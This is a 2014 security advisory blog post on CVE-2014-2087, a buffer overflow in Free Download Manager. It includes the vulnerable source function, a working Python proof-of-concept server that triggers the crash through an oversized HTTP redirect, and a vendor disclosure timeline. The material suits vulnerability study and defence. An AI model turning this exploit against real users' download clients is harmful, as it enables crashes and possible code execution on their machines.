Julien Ahrens === @MrTuxracer

Vulnerability Intel | ROP Gadget Hunter | Privacy Enthusiast | Full-time BugBounty hunter | @Hacker0x01 MVH | @SynackRedTeam member | on a world-trip

CVE-2014-2087: Free Download Manager CDownloads_Deleted:: UpdateDownload() Remote Code Execution

13 Mar 2014 » RCE, Advisory, Exploit

I’ve discovered another 0day Remote Code Execution flaw in a CNET.com Top10 software of its category, which has been downloaded more than 6 million times right now.

Affected Versions and CVSS

I’ve successfully verified the vulnerability in the following versions (but any older versions may be affected too):

  • Free Download Manager v3.9.3 build 1360 (latest)
  • Free Download Manager v3.8 build 1173
  • Free Download Manager v3.0 build 852

The CVSS score is 9,3 (AV:N/AC:M/Au:N/C:C/I:C/A:C) because there is a little bit of user interaction needed.

Technical Details

The application parses download requests, which are added to the download queue, but does not properly validate the length of the complete download queue object when it’s removed from the queue by the user:


The following function from fdm.exe (source file: Downloads_Deleted.cpp) is triggered on deletion:

void CDownloads_Deleted::UpdateDownload(int iItem)
	vmsDownloadSmartPtr dld = (fsDownload*)GetItemData (iItem);

	CHAR szFile [10000];	
	CDownloads_Tasks::GetFileName (dld, szFile);
	lstrcat (szFile, " (");
	lstrcat (szFile, dld->pMgr->get_URL ());
	lstrcat (szFile, ")");
	SetItemText (iItem, 0, szFile);

This function reads the filename of the download object using CDownloads_Tasks::GetFileName into szFile and adds the whole URL value as a description (in brackets) via an insecure strcat() sequence to szFile during the queue deletion process.

Therefore the following Python script creates an arbitrary web server which sends an oversized filename value via a HTTP 301 redirect (just a simple trick to hide the payload, or which user would request it by himself ;-) ) to the download client and finally triggers the vulnerability:

from socket import *
from time import sleep

host = ""
port = 80

s = socket(AF_INET, SOCK_STREAM)
s.bind((host, port))
print "\n[+] Listening on %d ..." % port

cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]

junk0 = "\x43" * 9000

payload = junk0

buffer = "HTTP/1.1 301 Moved Permanently\r\n"
buffer += "Date: Thu, 20 Feb 2014 11:31:08 GMT\r\n"
buffer += "Server: Apache/2.2.22 (Debian)\r\n"
buffer += "Location: "+ payload + "\r\n"
buffer += "Vary: Accept-Encoding\r\n"
buffer += "Content-Length: 8000\r\n"
buffer += "Keep-Alive: timeout=5, max=100\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: text/html; charset=iso-8859-1\r\n"
buffer += "\r\n"
buffer += "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n"
buffer += "<html><head>\n"
buffer += "<title>301 Moved Permanently</title>\n"
buffer += "</head><body>\n"
buffer += "<h1>Moved Permanently</h1>\n"
buffer += "<p>The document has moved <a href=\""+payload+"\">here</a>.</p>\n"
buffer += "</body></html>\n"

print cl.recv(1000)
print "[+] Sending buffer: OK\n"


If the complete name of the queued download exceeds the size of szFile (10000 bytes), strcat() writes outside the expected memory boundaries. The above Python script creates a download object of about 8000 bytes, but since the applications strcats this value about two times, you get a download queue entry of at least 16000 bytes which exceeds the buffer size of 10000 bytes.

This results in a pwning crash:


The shown INT3 command at kernel32 in combination with the error message in ECX:


is just a hint of enabled /GS stack cookie protection, which might by bypassed (didn’t have a deeper look at this yet), but as the application is open source, it might be compiled without /GS protection too.

And there is also a second (local) way to exploit this vulnerability using the “Import list of downloads” function:


About the Disclosure Process

Now the sad part. Have a look at the disclosure timeline:

2014-02-20: Discovery of the vulnerability
2014-02-21: Vendor Notification #1 with preset disclosure date (2014-03-09)
2014-02-24: MITRE assigns CVE-2014-2087
2014-02-25: Vendor Notification #2
2014-02-26: Vendor Notification #3
2014-03-05: Vendor Response
2014-03-05: Vulnerability details sent to vendor
2014-03-09: RCE Security asks for a status update
2014-03-13: No response from vendor
2014-03-13: Full Disclosure according to disclosure policy

I’ve discovered this vulnerability on 2014-02-20 and notified the vendor with a preset disclosure date (2014-03-09) according to my disclosure policy a day later via email. No response. A few days later I’ve tried another way using their official web contact form. No response. Then I’ve tried it using their official forum directly to an admin who’s nickname is “Alex”. About a week later I received a very short response from Alex:

HI!Please send it to [*email censored*]. Thank you.

FDM development team

I’ve handed over the full vulnerability details including the vulnerable code part and the working PoC. As the preset disclosure date was set to 2014-03-09, I’ve asked for a status update on that date. Now guess…No response.

I thought, well let’s give them a bit more time to investigate. Now…a week later, I still haven’t received any notification about the vulnerability report, they haven’t even asked for an extension of the disclosure date.

One might think that the developers of a software like this actively care about their product security, but…well praise Full Disclosure :-)